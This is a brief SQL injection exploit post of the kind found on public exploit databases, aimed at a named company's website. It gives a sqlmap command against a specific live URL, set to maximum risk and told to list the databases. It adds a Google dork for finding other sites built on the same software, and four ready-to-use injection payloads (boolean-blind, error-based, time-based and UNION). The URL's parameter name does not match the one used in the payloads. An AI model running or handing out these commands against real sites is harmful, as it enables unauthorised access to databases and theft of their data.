****************************
#Exploit Title: BOWTIEOVERDRIVES - SQL Injection vulnerability
#Date: 2020-10-21
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://www.bowtieoverdrives.com
#Google Dork: "Powered by Bowtieoverdrives"
#Tested On: windows 10
sqlmap:
sqlmap -u "http://www.bowtieoverdrives.com/catalog/catalog_inc/viewitem.php?ITEMID=13" --level=5 --risk=3 --dbs --random-agent
Testing Method;
- boolean-based blind
- time-based blind
- error-based
- UNION query
Parameter: ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=106 AND 6523=6523
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: ID=106 AND (SELECT 1312 FROM(SELECT COUNT(*),CONCAT(0x7176707071,(SELECT (ELT(1312=1312,1))),0x7162717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ID=106 AND (SELECT 5138 FROM (SELECT(SLEEP(5)))CmZe)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: ID=106 UNION ALL SELECT NULL,CONCAT(0x7176707071,0x417371536c7244424550546871566c696f5272464856737a797158745a7154524249416f6d436466,0x7162717871),NULL,NULL-- -
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************